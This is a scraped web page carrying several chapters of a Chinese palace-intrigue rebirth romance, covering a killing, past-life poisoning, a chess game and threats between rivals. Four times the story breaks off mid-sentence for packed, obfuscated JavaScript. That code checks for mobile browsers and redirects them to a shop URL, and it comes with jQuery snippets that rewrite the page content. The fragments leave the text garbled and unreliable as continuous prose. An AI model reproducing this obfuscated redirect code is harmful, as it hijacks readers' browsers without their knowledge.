35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665317|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江诉手中握的笔轻轻搭着,他搁置一边,站起身从一旁拿出干净的锦帕,伸出食指抬起枕清的脸,安静地垂首一点点擦干净她脸颊的血水,又轻柔地抬起她的手,将她的指节擦拭地干干净净。 动作是极致地温柔,整个人都是温和雅致模样。 既没有质问她为何迟到,也没有问她这一身血迹是从何而来。 他什么也不关心,只是觉得枕清在外面染了一点淤泥,擦干净就好了,什么都没有变。 “我杀人了。” 枕清的声音轻轻地,就像是悬浮在半空中,无论如何都落不了实处。 江诉垂首擦拭指尖的手并未停顿,表情也是淡淡的,好似没有任何一点的惊讶和探索的好奇。 他的声音也是轻轻地:“嗯,我知道了。” 枕清端详江诉的神色,继续道:“我又杀了一次张宣晟。” 江诉轻嗯声后,温和问道:“你之前不是想去太学吗,现在还要去吗?” 简短的对话看不清情绪,这一切的一切都太反常。 现在是她杀了人,而不是略过后问她去不去太学,他这模样,像是在说一件很普通的事情。 枕清令他停住手中的动作,反握着他的手,忽然抬眸问他:“江诉,你是不是也想起来了?” 想起上一世的一切,想起他们之前各种的恩怨和点滴。 他们本不应该是现在的状态,更应该是你痛恨我,我厌恶你! 江诉垂首看着枕清轻轻颤动的眼睫,带着肯定又似求知的神情,好像一只仙鹤,看似脆弱的脖颈,看似尖利的嘴。 他唇角弯起轻轻地笑容,轻声问枕清:“这对你来说,重要吗?” “不重要。”枕清口是心非地握住江诉的手微微用力,“但我想知道你为什么死了?是被杀了,还是你自己不想活了?” 江诉感知她的动作,手上传递而来的温度,像是细麻的电流,爬上他的指尖,染上他的指腹,原本湿润的水迹变得滚热。 他回道:“都有。” 枕清忽而散了全身的力气。 也是,这不是他的世界,也不是他喜欢的世界。 这样的日子,对他而言,太过痛苦。 上一世别人以为他们交情浅显,只有他们自己知道恩怨是多么地复杂与痛恨。 明明知道所有的事情,他现在又为何表现出对她这般珍重。 她想问问江诉,你难道不恨吗? 不怨她逐他出长安,不恨她在朝中拉他下水而被迫站队,不憎恶她耍如此多心机为了让他永远记住自己,而死在他的怀里。 死人是多么僵硬冰冷,又是多么地令人害怕。 枕清湿润了眼眶,她当即走前半步,环住了江诉的腰身。 她问道:“不怨我,恨我,憎恶我?” 江诉回:“不怨,不恨,不憎恶。” 他的语调平缓,听得无比宁静,所有都已经成为了过往云烟,跟着时间一同流逝,轻轻挥一挥衣袖便没有了,就只有她一个人在上一世的仇怨里打转。 枕清张唇,痛恶地咬上江诉的手臂,唇齿发力,身后疼得难挨,她浑身不由自主地颤抖,眼中续满滚烫的泪水打转,直到口中有一股血腥味,她才缓缓松口。 枕清恶声道:“可我恨你啊,这怎么办呐?” 明明什么都知道,却依旧对她如此好。 她杀了人,手溅了血。江诉没有嫌弃和询问,而是拉着她,用浸了水的锦帕,一点又一点仔细又认真地给她擦拭干净。 他总是这样。 上一世里,帝师曾怒斥道:“他在这乌烟瘴气的朝中就是无用,不是因为他无能,而是因为那群人不让他有一丝用武之地!” 所以他真得能改革得了吗? 他不是不帮,而是仅凭一己之力,难以撼动。 他妥协了,他做不了。 忽而,枕清感受到他的手轻轻搭在自己的腰间,听到他在说:“你能不能别恨我,这一次,我不再袖手旁观,我陪你入局。” 所谓旁观者,也早被拉进漩涡。 为了她,甘愿入局。 枕清闭眼,蓄满的泪倏地落在他的衣领上,瞬间消失不见,转而向下的心开始跳动,速度之快,令她心惊。 枕清微微蹙眉,在要疼昏过去的前一瞬,又听到江诉低喃:“倘若知道你与我对跪的那一夜,你转身离开是去和张宣晟成亲。我想,无论最后的结局是好还是坏,我都会陪着你、答应你。即使博了千百次的输局,也一定为你,再试一次。” 一定为我,再试一次? 枕清扯出零星一点的笑意,她声音含糊,怅然道:“江侍郎,我不做没胜算的仗,所以你不必愧疚,我也没选你,那时,我只是太想见你,真的太想见你。” 阁楼外的风雨吹过他的青衫,灿烂的阳光照出两道相拥的影子。 天晴了。 26. 秋山海远杳千重(一) 仲夏之际,天空高阔而明朗。 窗外的风轻轻地吹过长廊上的穗子,月光透过窗棂,映照在灯火通明的屋内,跟着烛火呼应,犹如火红的光点上了一点银白的霜。 枕清醒来的时候,隔着轻纱帷幕,看到不远处的一对身影。 禹王正和江诉对弈棋局。 一人如寒霜,一人似清月。 两种不一样的感觉,竟然也产生了意外地融洽,好似两个极端也能走到一起。 上一世,这两人的关系也有这般好么? 那么他们二人是否说开过上一世的关系,是否知道各自最后的结局,又会不会规避上一世的过程,从而改变自己的命运。 她唇角微动,正要起身时,她发现自己腰间的伤口都已经被妥善处理了。 这种系法,应当是义宁。 义宁。 枕清垂下眼睑,突然叹了一口气。 阿耶真的这么害怕她,这么想让她死吗? 所以才叫义宁给她配置那种毒药。 想活不成,即死不能。 她的哀叹声传到一旁,禹王和江诉纷纷侧目而来,枕清看着这两人,她略苍白的小脸呆滞了一瞬后,逐渐浮起一抹浅浅地笑意。 江诉放下手中棋子,禹王落完那子,再次注视枕清。 枕清望见两人停下的动作,她坐起身来,缓缓下了床,走近两人所下的棋局旁,随性懒慢地坐在一边。 禹王瞧枕清这大大咧咧的模样,也不怕崩坏了伤口,板着脸教训道:“你这性子,也不知道跟谁学的,伤还没好,就跑来看我们下棋,看来挨的这一刀不疼。” “是谁养我,就是跟着谁学的。”枕清没理会后面那句话,只探身往前看着两人的棋局,局面不相上下,两人棋技平分秋色。 她佯装自己只是随意看看,挥了挥手道:“你们继续下你们的,不必管我。” 禹王皱眉看着东倒西歪,一点也不安分的枕清。 他忍耐地放下棋篓,曲起两指,轻轻地敲在枕清的脑袋上,无奈训斥道:“我看你是想讨板子吃了,有外人在这,你这像什么样子,而且你的伤口需要静养,醒来就跟欢快的兔子似的,安分点吧。” “我都伤着了,阿耶若是真的不心疼,倒是真的可以打我几板子,反正从小到大,你一直都是这么吓唬人。”枕清说完这句话,眼中带笑地望着禹王,像是撒娇,又像是在父亲面前俏皮又装乖的漂亮女郎。 二人对视良久,枕清忽而装不下去了,她在禹王深邃的眼神中瞥过眼,继而垂下,掩饰好一闪而过的落寞。 她又抬起脸,笑道:“江中丞若真的是外人,阿耶又为何留着他在王府过夜?” 江诉眼尾微微一抬,唇角含笑地看着枕清。禹王深沉的目光在这两人身上打转,他抬起袖子拢了拢,扇起一阵风,烛火被衬得忽明忽暗。 他道:“说不过你这个小丫头,不说了,继续下棋。” 枕清还想凑前看,江诉屈指点了点自己身前的棋盘,笑对枕清道:“要不县主来与王爷对弈。” “我不会!”枕清抬眼看江诉,当即反驳道。 室内灯火通亮,烛火落在江诉一侧的脸颊上,另一半隐在阴影中。他的身形修长,体态端正,好似冬日雪松,美好又干净,伏下的轮廓跟随着烛火晃动,叫人心神动荡。 江诉长睫垂下,浅色瞳孔映照枕清望着他的模样。 枕清生得清丽,双眸生动,略微蹙眉泼淡了平日里的不真实感。 她的小脸凑得近,脸颊上细碎的绒毛也看得一清二楚,没了上一世身居高位审视和凌厉,更多表现出来的是少女的娇憨姿态,可爱到让江诉有些忘记枕清原本就是这样。 江诉唇瓣弯得更甚,瞧了一眼对面持狐疑目光的禹王,继而悄声同枕清说:“没事,我教你。” 枕清奇怪地瞧了一眼江诉,她上一世的师傅除了商震,还有一位帝师,算起来和江诉也是同师来着,她可不信江诉会不知道她会下棋这件事。 既然江诉要教她,那就让他教好了。 枕清和江诉换了个位置,江诉真的在一步步教她怎么走,如何走。 棋盘上的棋子逐渐变得不像是棋子,而是各地纷争的开始,有出围困的计策,也有冲出重围的偏离,甚至还能看到天下局势游走。 在枕清恍惚要如何走时,江诉指了指棋盘上的位置,枕清发觉江诉不再稳扎稳打,而是剑走偏锋,快速破局。 他好像真的在改变他自己。 枕清眼睛稍稍一斜,感知到靠近的江诉,呼吸不由自主地放得轻缓,甚至在衣服摩擦间,她立时屏住呼吸,待人稍微离远些,她才开始呼吸。 犹如在泥潭中呼出一口浊气,又来到空旷之地灌入新鲜血液般吸入。 这样的动作在心中翻腾汹涌着,可她极力克制,才显得微弱,微弱到只有她自己才知道,江诉的每一次靠近,她的心也跟着他靠近而急速跳动。 像是心中的泰山逐渐分崩离析,如同海啸震撼席卷,也像是冬日里的一支翠竹,一棵青松,也能安然又宁静。 这一切一切的反应,或许这就叫做——想要。 她想要他。 棋局下到后半夜,困意逐渐来袭,枕清才察觉自己身后的伤口一直没在发痛,她微微动了动身子才发现,不知道何时开始,江诉拿着柔软的垫子贴在她身后的位置,抵靠着她的腰。 极有分寸的距离,手既没有隔着皮肉衣服的贴靠,也没让自己不舒服,甚至没叫她轻易察觉出来。 枕清轻轻勾唇,毫不避讳地享受他所给她带来的好。 月上柳梢头,禹王下了半晌的棋局也算是明白江诉和枕清这两人之间微妙的氛围,他忽而笑了一笑。 上一辈子没走到的缘分,或是这一世可以走在一起。 至于他自己,终究还是回来得太晚了些,错过了便是一生。 翌日一早,细碎的阳光如同洒金般倾泻下来,宁千渝端着盆子鱼贯而入。 宁千渝今日穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665318|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身碧绿色的衣服,头上扎着两个发鬓,嘴角微微抿着,脸颊浮起薄薄的红晕,眉眼却是一如既往地顺从。 看到枕清受伤躺在床上,宁千渝既没有惊讶枕清为何会受伤,也没有过问昨日为何欺骗她说伤的人不是自己,她更想知道,枕清是什么时候想起的她。 听旁的侍女说,从枕清一回府就问起来了她在那里。 县主没有忘记她的存在,也真的让她来贴身伺候。 枕清朦朦胧胧睁开眼,看到就是这样一幅场景,浅色的帘子后,一青衣低眉顺目地跪坐在身旁,眉目没有焦灼催促的神色,只是安安静静地等着,听从上位者的安排。 直到听见她有所动作的声音,宁千渝才慌忙站起身子,捧上自己所带进来的东西,示意枕清用。 向来极少受人照顾的枕清对于这一行为有些茫然,她自小便没什么侍女,说好听点是县主,可是终究没有真正受过县主之实,打小就生长在雷州那么偏远的地方。 那里的人,大多数都是野蛮无礼的。 别人狠,你要比别人更狠,才能压制得住。 所以那时候的枕清养成了一身的匪气,靠武力和蛮横压制,叫人惧怕又不敢靠近。 大家都在背后喊她为“不要命”。 她哪里是不要命,就是因为要命,才会有这般的“不要命”。 而那时候的禹王也只是个二十多岁的青年男子,既没有成家立业,也没有女眷妾室,又怎会照顾小孩。 直到事情发展到不可控制,禹王才觉得不妥,便把枕清放在身旁养着,大抵是在禹王身边熏陶得多,枕清才像样了不少,没养成那一身的匪气。 枕清下了床,她顺着宁千渝搀扶的手,视线往上移,吩咐道:“不必伺候,我自己来就可以了。” 宁千渝闻言,忽然下跪,声音带着轻轻的疑问:“是我哪里做得不好,让县主不满意了?县主才不要我贴身伺候,县主可以说,我可以立马改。” “不用改,我只是不习惯有人来伺候我。”枕清略过她跪下的姿态,独自往前走了几步,目光落在昨日残存下的棋盘。 半晌后,宁千渝察觉周围安静无声,仿佛没有任何人,于是偷偷抬起脑袋想看枕清在干什么,适才看到一眼,便被抓包了。 枕清没有生气,而是撑着手,露出一个很淡的笑容道:“你过来,来看看这个棋局。” 宁千渝下意识为难道:“县主,我不懂。” “看看就好,你若是懂了,我便不会把留在我这里了。” 枕清拿出一枚黑色的棋子,勾唇望着一脸茫然,但眼神发出弱光的宁千渝,开口道:“走过来,到我身边来。” 宁千渝依言而动,靠近枕清两步远,她又想跪在枕清身旁,枕清历声喝道:“不许跪!坐我对面去。” 瞧人不动,枕清抬起犀利的眼眸直视宁千渝,无形中带着强有力的压迫感。 宁千渝察觉枕清的目光投射在她身上,她不敢抬头看,于是低垂眸眼,一言不发。 27. 秋山海远杳千重(二) “看来你连我的话也不听了。” 枕清冷笑,站起身,当即要走,宁千渝条件反射地拉住枕清的衣袖,动作急而慌,声音轻而低:“县主,我坐。” 语气又是怯弱和恳求。 枕清回头,凝视她片刻后,看清她眼里的无助茫然,又重新坐了回去。 她正色道:“不论之前的你是如何,现在来了我这,你一切都要听从我的,我不喜欢任何事要我说第二遍,念在你是初犯,我并不深究。” 宁千渝缓缓松开手,拘谨点头。 枕清这才又放缓语气,道:“你可以把这一整盘棋局看作是长安,而我手中这颗,既可以是皇宫,也可以是太后、圣上,甚至也有可能是我,亦或者是你......” 枕清把长安现有的局面铺展开来,叫宁千渝分析其中的厉害关系。 现在的宁千渝虽然年纪尚小,但为人沉稳练达,若是加以雕琢,未必不能成为一块上好的佳玉。 而没觉得自己是一块佳玉的宁千渝对着棋局看了好半会,又小心翼翼打开话匣子,略带试探道:“柳长鸣的事,县主终究还是心软了。” 枕清闻言,原本淡漠的神情变得莫测,似笑非笑地望着她道:“那你怎知他的死,我没出一份力?” 宁千渝捏紧手中棋子,声音低慢:“即使出了,那也是他罪有因得。可我看到的是县主对他没有折磨和威胁,对青黛亦没有牵扯到后赶尽杀绝,我觉得县主是个善心的人。” 枕清好笑道:“你觉得?你是第一个说我是善心的人。 我并非是你口中所说的这样,以后你也不必这般觉得,人都是向往着利益,就好比我现在教你,我需要你在日后还我的,懂了吗?” 这是在打破宁千渝的幻想,勾勒出现实的样子。 并非良善,只为利益。 可宁千渝不信。 “人都向往着利益,那么在这个世间里便不会有那么多感情了,县主难道和应小娘子也讲究利益吗?”宁千渝瞧见枕清的神色微凉,她察觉自己失言,后知后觉地遍体生寒。 宁千渝抿了抿干涩的唇瓣,神情倔强,指甲深深嵌入手掌心,留下深深的痕迹。 她深吸一口气道:“反正我就是认为县主是这样的人,县主既然要和我谈及利益,那日后,我若是还不起呢?” 枕清敛下冷意,半真半假似地吓唬她:“那就......拿命陪。” “好啊。”宁千渝鼓起脸颊,弯了弯唇瓣,低垂目光看向棋盘。 半会儿后,宁千渝也似真似假地补充道:“我会把命赔给县主的。” 枕清若有所思看了她一眼,突然有些不自在地离开宁千渝的对面,随便找了个位置坐下,声音轻轻地:“不必,我让你在我身旁,本就是我自愿的。” 自愿的,便没那么多利益可言。 枕清不知道宁千渝听到她后面这话没,但她看见宁千渝执棋子的手好似不稳地顿了一下,又神情自若地低垂目光思索棋盘的路数。 枕清忽而有些看不清眼前的宁千渝是一个什么样的人。 说宁千渝胆小,倒也真是胆小,竟然不敢与她同坐,甚至害怕她的离开。可若是说宁千渝胆大,的确也有极大的胆量,既敢偷偷为禹王做事,也敢直言不讳地反问她。 好像是在伪装,又像是隐藏。 外边的日头正盛,枕清悠闲地品茗,宁千渝苦恼地破解棋局。 枕清正想走过去提点一番,抬眼看到了义宁和来拜访的陆佑善,这两人一路上有说有聊的,大多时候都是陆佑善在说,义宁提着药箱,心不在焉地抿唇点头。 一个从善如流,一个沉默木讷。 不过这样也能看出两人关系不生疏。 义宁倒真是心神恍惚,自从上一回枕清在他的小院子里晕倒,义宁一直没明白枕清那样苍凉悲切的神情。 好似亏欠又像是明了后的难以释怀。 他……真的亏欠过枕清吗? 昨日枕清唤人令他去陆尚书的府邸看看陆小娘子,义宁本想借机问枕清那样的神情是何意思,可惜最后来去都只有他一个人,没看到枕清一点影子。 在昨夜后,他才知道枕清受了伤,今日是来给她换药的。 宁千渝早早就听到了声响,没和枕清单独相处那般放松,而是谨慎地落在枕清身后,俨然像是一个紧紧跟随、尽忠尽职的小丫鬟。 枕清瞧她这模样,也只是弯了弯唇,最终随她去了。 走进屋内义宁心里仍藏有变扭,奈何人多,他也只是压下疑问和性子,留下药材和叮嘱了用量,提着东西走了。 待人走后,枕清先是开了口道:“你和义宁的关系倒是不错。” 陆佑善坐在枕清身旁,上上下下扫视枕清完好的模样,恰似微微松了口气道:“义宁小郎君为人和善,医术高超,不是我与他关系好,而是他是个好相与的人。大家都说我好,可只有别人好,我才能好,不是吗?” 说完反问,陆佑善露出别有深意的笑来,从一旁的侍女手中拿过礼品,温声又道:“我听闻你受了伤,今日特地从父亲那里讨来几种药材,治疗伤口极为有效。我知道禹王府家大业大,不缺什么宝贵东西,但这多少是我的一点心意,还望县主不要嫌弃。” 枕清一直注意她的神态和动作,亲昵又大方。陆佑善能给出来的东西,自然是极好的,但嘴上总喜欢说着自谦词。 明明上一次还跟罗长观出卖了她,今日又能跟她好姐妹似的说说笑笑,心中思绪使她错综复杂。 可陆佑善真的是这样的人吗? 正因为上一世亲密无间,没有任何秘密和隐瞒,所以陆佑善用左手写出来的字,她才会知晓。 难道这一世就会变了吗? 枕清收回思绪,唇角微微弯起,她目光柔和又嗔怪地注视陆佑善。 她还是想再信一信她。 “你有心了,一看就是珍贵之物,我万般不敢嫌弃。”枕清假意换了一种语气,“还望陆娘子不要嫌弃我才对,这才几日没见,陆娘子竟然喊起县主来了,倒也是对我生疏了。” 左一口陆娘子,右一口陆娘子。 陆佑善一听这话就是来挖苦的,她掩唇笑道:“我们倒也不必如此。” 王府的景致宜人,用的东西昂贵,这般炎炎烈日,竟也不觉得炎热。 枕清和陆佑善一同游走在长廊下,垂首便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665319|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到底下一片池塘,几条鱼儿欢快嬉戏,水池热得冒出几许温热白气。 不多时,陆佑善倒真开始跟她解释说了这件事。 陆佑善握住枕清的手道:“罗长观来王府查你的那件事是我做的,想必你也知道别的小娘子都已经说了出去。我知道你聪慧,倘若罗长观来了,必能躲过此关,这样一闹,一来是罗长观没有真实的证据,胡乱诬陷你;二来可以打消旁人的念头,让你的这些珠宝有处可去;这第三,珠宝在各位小娘子们手中,也使诸位能放心,不是吗?” 这些列举出的话都是为了她好的意图。 枕清神色自若听着,她当然知晓陆佑善会知晓她珠宝一事的想法,毕竟她们二人在这些事上,即使不挑明言语,也能一想就通。 而陆佑善自己也知道枕清早已经知道了罗长观一事是她一手操办,现如今说出来,只是让人察觉彼此都是真诚相待彼此的,好放下心中芥蒂。 枕清也知道陆佑善知道她知道这件事,只是她们两人心怀嫌隙,早已没了往日的无话不说。 心如明镜,怀着芥蒂,装着糊涂。 陆佑善顿了好一会儿,话头一转,苦恼道:“我倒也不瞒你,你知道长安各个党派的现状,我们家与太后并非交好,罗长观又还是太后殿下身边的人,我其实是想可以除掉这个祸患,来个一石二鸟。这不巧利用了你,来个顺水推舟。” 后句的利用说的流畅坦然,叫人难以反感这般的坦荡,好似真的是很要好的朋友。 枕清却松开陆佑善交叠在自己手背上的手,微微笑道:“你倒是聪明。” 陆佑善感知枕清的疏远,她神色在一瞬间黯淡下来,却掩藏得极好,让人难以察觉。 她柳眉微微蹙,抬手轻轻搭在倚栏,视线眺望远方,“可惜这事没成,倒是也不及你,都说女子是深闺怨妇,上不得台面,我倒是觉得三个男儿郎也比不上你这一位小女娘。最后,你和罗长观又是如何化解的?他可不是什么善茬呢。” 疑惑地说完最后一句,陆佑善侧过脸望着枕清,枕清一身浅色衣服,在炎炎夏日里,像是解渴的冰,整个人清丽又漂亮,她一瞬间看迷了眼,又若无其事地转移视线。 枕清注意她的视线,好似想到什么,她没想细说,只是淡淡道:“我和他做了一个交易。”又问道,“听闻你前日生了一场大病,现在好了吗?” 陆佑善轻轻咳嗽,苍□□致的面容除了唇瓣一点红色,再也看不出半点血色,她张口说好很多了,叫枕清不要担心。 二人有一搭没一搭的聊着,直到不远处出现了两人身形。 那人穿着一身朝服,深暗的红色随着夏日的光彩而动,明艳照人。 唇边挂着温和的笑意,似难以感知到夏日的炎热,如同和煦春风的吹拂,仿若让人进入了温柔乡情。 江诉目光流转间,望见了枕清和陆佑善的身影,他神情淡淡地掠过,唇角的笑意却不自觉地顿了顿,回道:“王爷说对了,下官的确不是个温柔的人。” “许多人都被你的相貌神态给骗了,深交后才知你的心思竟是如此,昨夜下完棋后我才发现和察觉!”禹王乐得哈哈一笑,如同知道了什么不得了的秘密。 28. 秋山海远杳千重(三) 阳光灿烂,碧空如洗,青翠欲滴的竹子沙沙作响,晃动的竹影浅淡,错落的光影编制成了一张巨大的风景画。 惬意又祥和。 江诉和禹王正在边走边聊,陆佑善唇边挂着适宜的笑容,在看清来人后,身体不由自主变得僵硬和颤抖,仿若看到了什么极其害怕的东西,既挪不开眼,也迈不动步子,就眼睁睁看着危险的东西压进,让自己碎得四分五裂。 枕清将陆佑善的神情与状态尽收眼底,她心中惊奇,陆佑善居然会害怕江诉。 枕清站起身,先是瞧了一眼江诉,又望向禹王,有意对陆佑善介绍般道:“这是我阿耶,而另一位是江诉,朝中官任中丞,佑善,江中丞是一个很好的人。” 陆佑善已缓过来,她微微一笑,朝二人一同行了礼,“见过禹王和江中丞。” “我知道你,陆家小女,和沿溪关系极好。”禹王道。 陆佑善闻言望向枕清,扑扇的眼睫略为迟钝,后露出温良的笑来,道:“沿溪她是个极好的人,很高兴能和她成为好友。” 禹王朝江诉微微一笑,二人没多打扰她们,陆佑善见他们远走,不出片余便要起身告退。 枕清忽而开口问:“佑善,你看到了我的那一封信了吗?” 陆佑善闻言,眼神闪躲又抬眸疑惑般问:“什么?” 明知道她所指的是什么,还要和她装糊涂,明知道陆佑善不愿意继续深谈,她偏要撕开这层伪装,把真心袒露出来。 她不想她们的关系梗在喉间,既上不去,也咽不下来。 枕清道:“我死后寄给你的那封信,佑善,我们都心知肚明,现在又何必装迷糊。上一世确实是我对不住你,你不愿意和我深交我能理解,但我们两心里想什么做什么,彼此当真会不清楚吗?你找罗长观是为了什么?当真是为了我和你的家族吗?” 陆佑善捏紧的手缓缓松开,苦笑一声道:“你还是那个你,说话永远都是那么地直接,总叫人猝不及防。” 枕清正色道:“因为我把你当做我的好友,若有一天我对你心怀芥蒂,有所隐瞒,那么我们便不再是好友了。” 那么我们便不再是好友。 现在的枕清也依然把她当作好友吗? 陆佑善在心里默念着,刹那间,突然有疼痛袭来,蔓延到全身,她猛然站起身,勉强维持镇定道:“上一世的事情,我……我已经不在意了,只是一个皇后的位置,始终不及你。” 她红了眼,又轻轻道:“始终不及你……” 枕清看出她的不舒服,想要扶稳她的手在她坐下的片刻顿住,陆佑善敛下发红的眼,脑袋偏向别处,若不是看到眼尾的泪光,似以为她在思索。 枕清也坐在廊下吹风,四周安静到听不见一丝一毫的响动,她心绪不由被风牵着走远。 即使在上一世她倒台了,可是师傅不是攻克进来了吗,陆家再怎么样,也不会沦为阶下的地步囚,更不会连性命也护不住,除非突然发生了什么变故。 而且现在的陆佑善对她没有那么大的敌意,好像是真的还在把她当做好友,即使发生了那么多的事。 半晌后,枕清又问:“那你上一世的死,是因为江诉吗?你为什么那么怕他?” 陆佑善垂下眼睑,她忽地胸腔起伏,猛地连声咳嗽,她喘息片余后,才缓缓开口道:“江诉并非所见那般良善,他……你……小心为上。” 枕清并不在意这些警惕的话,江诉是一个什么样的人,在这个世界上,她比任何一个人都要清楚。 枕清问:“你因何而死?” 陆佑善回道:“我自己。” “那你为什么那么怕江诉?” “他手段高明又犀利,怎么能叫人不怕呢?” 陆佑善突然松懈下来,偏头望向枕清不解的双眸中,警醒般道:“况且你还把他驱逐出了长安,他回来后,心里难道不会憎恨你吗?你死的时候就见了他一人,难道不是他害死你的吗?” “不是他。”枕清反驳道。 陆佑善问道:“不是他,那又会是谁?” “我是中了慢性毒药,不是他害死的。”枕清忽而闭眼,她不再想继续这个话题。 陆佑善追问:“那时候是毒发了吗?” 枕清无奈道:“我不知道。” 陆佑善以不信的口吻道:“难道真的和江诉一点关系都没吗?你原本好好的,唯独见到他成了这般下场,你叫我怎么信不是他。” “佑善!”枕清不想再谈,“我不知道。” 她是真的不知道。 枕清只记得调的熏香加快了毒发的速度,而她那时候也没打算活了,就想倒在江诉的怀里,盼望着一切都能结束了。 没想到结束后便是重生,还是所有人都重生了。 可真的像佑善所说的那样,江诉真的想让她死吗? 枕清迟疑地望向不远处的光彩。 丛木青青,水波荡漾,影子穿梭在山水里。 陆佑善走在出王府的路上,穿过花园里的青石板上,江诉站在正前方,像是等着她到来。 那张隽秀的脸上,是一副淡淡神情,和平常并无二般,唯独少了平日带有的微笑。 他长身立于前,整个人温润有度,却又觉得距离极远,隔着万里山河。 “陆小娘子。” 他眉眼微动,唇瓣勾出似有若无的笑意,那笑意并非是露出恰到好处的温良和善,而是已成自然习惯的状态。 陆佑善警惕地关注他的一举一动,唇瓣抿紧,语气不善道:“江中丞。” 草木茂盛,风窸窸窣窣声穿过两人的耳畔,盛日的光照在她们身上,攀上指尖,并无一丝暖意,像是回到了上一世见面的寒冬腊月。 那是极寒的冬日,枕清死后的不久时。 那日,陆佑善知道枕清死后,当即入了后宫,遇到了江诉。 大殿里的炭火声不断地此起彼伏,枕清的尸体就安安静静躺在江诉的怀中,那时江诉脸色苍白,身形羸弱又沧桑,似乎比枕清还要像个死人。 后来陆佑善见他如此,便要带走枕清,江诉并不应允,二人的争执声越来越大。 江诉冷声道:“你从来没有将枕清当过朋友,现在她死了,你要出来做这个大善人为她收尸了?陆小娘子未免太可笑了些。” 陆佑善拉住枕清毫无血色、冰冷刺骨的手,心中泛起无尽的酸意和难过,她抬眸,刻薄道:“你怎知我没拿枕清当朋友,照你这般说辞,那你江大善人又好到哪里去?她为什么见到你就死了?你是不是记恨她当初逐你出长安,现如今来报复她!竟想让她的尸骨也不留下吗?” 江诉唇角冷冷弯起,神情冷静却又像个悲悯的菩萨,浅淡的眼眸没有将任何人放在心里,仿佛一切都是可有可无的事情。 原以为他会一直这样,对每个人都是这样。 可现在的江诉,唇角在笑,眼神却有抑制不住猩红的戾气,宛若此时的冰天雪地,掉进幽深冰冷的寒潭,让人无处可去,无路可逃,叫陆佑善立刻感受到明晃晃的威胁,她当即反应过来。 江诉不是什么好脾气的人,所谓的好脾气,只是他能忍罢了! “她为什么会死,陆小娘子不是最为清楚?你当真以为你做的事情天衣无缝,所有人都不知道是你对枕清下的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我从未放弃过她!至于我是她的谁?我不管是何种身份,都比你这样的人好。陆佑善,我若是一开始就知道是你朝她下的毒,我一定会先杀了你,但你觉得你现在能活,倘若过了今天之后,你还能活吗?”江诉眼眸幽寒,肯定道,“你一定活不了。” “你一定活不了……” 陆佑善心绪起伏得厉害,她回过神来,强忍着不舒服,镇定地望着离自己不远处的江诉。 “你就这么护着枕清吗?” “不护着她,难不成要护着不知道良心二字如何写的你吗?” 世人多说江诉温润如玉翩翩公子,这分明是蛇蝎心肠的恶鬼。 陆佑善冷笑望着他道:“良心?我倒是真的没有,难道枕清她就有吗?” 江诉避而不回,只道:“既然重来一次了,我劝你离她远点,如果让我发现你再做出这样的事,我想……” “你想怎么样?”陆佑善冷眸扫射在他身上。 江诉对于她的目光仿若未觉,他微微笑,如同谈论今天天气一般,道:“我看你死得还是不够多。” 陆佑善心中一颤,怒骂道:“疯子!” “你应当不想让她知道她最后为何中毒,又是如何死的吧?”江诉微笑道,“我可以不说,只要大家都相安无事。” 他的语调平缓,没有任何波澜起伏:“你最好别妄图耍什么小聪明把事情都往我身上引,我不是无动于衷的傻子,相信陆小娘子经过上一世,也知道我的脾性,的确是不太好。” 江诉说完最后一句话,视线轻飘飘落在陆佑善身上,却让陆佑善觉得有千斤重般压过来,压得她快要喘不过气来。 这话语中,无一不带着威胁。旁人或许听不懂,可陆佑善感知得分明。 明明是一个疯子,装的清风霁月! 陆佑善在心中暗讽,她方才跟枕清已经把加速毒发身亡往江诉身上引,江诉现如今如此威胁,她只能日后再找个日子为其推脱,叫枕清不要怀疑到她和江诉身上。 可是在上一世,她确实没想过让枕清在那时候毒发身亡,那么,一定是有人动了手脚,加快了时间。 29. 秋山海远杳千重(四) 丽日当空,望眼处皆是明亮,草丛细碎的声响未动,江诉瞧见不远处角落有一道影子,那影子的主人似是察觉,又飞快掩住身形。 江诉微微一笑,那笑容叫旁人看到,心中定然心旷神怡,如沐春风。 微笑是他最好的伪装和保护色,令人猜不出、看不透。 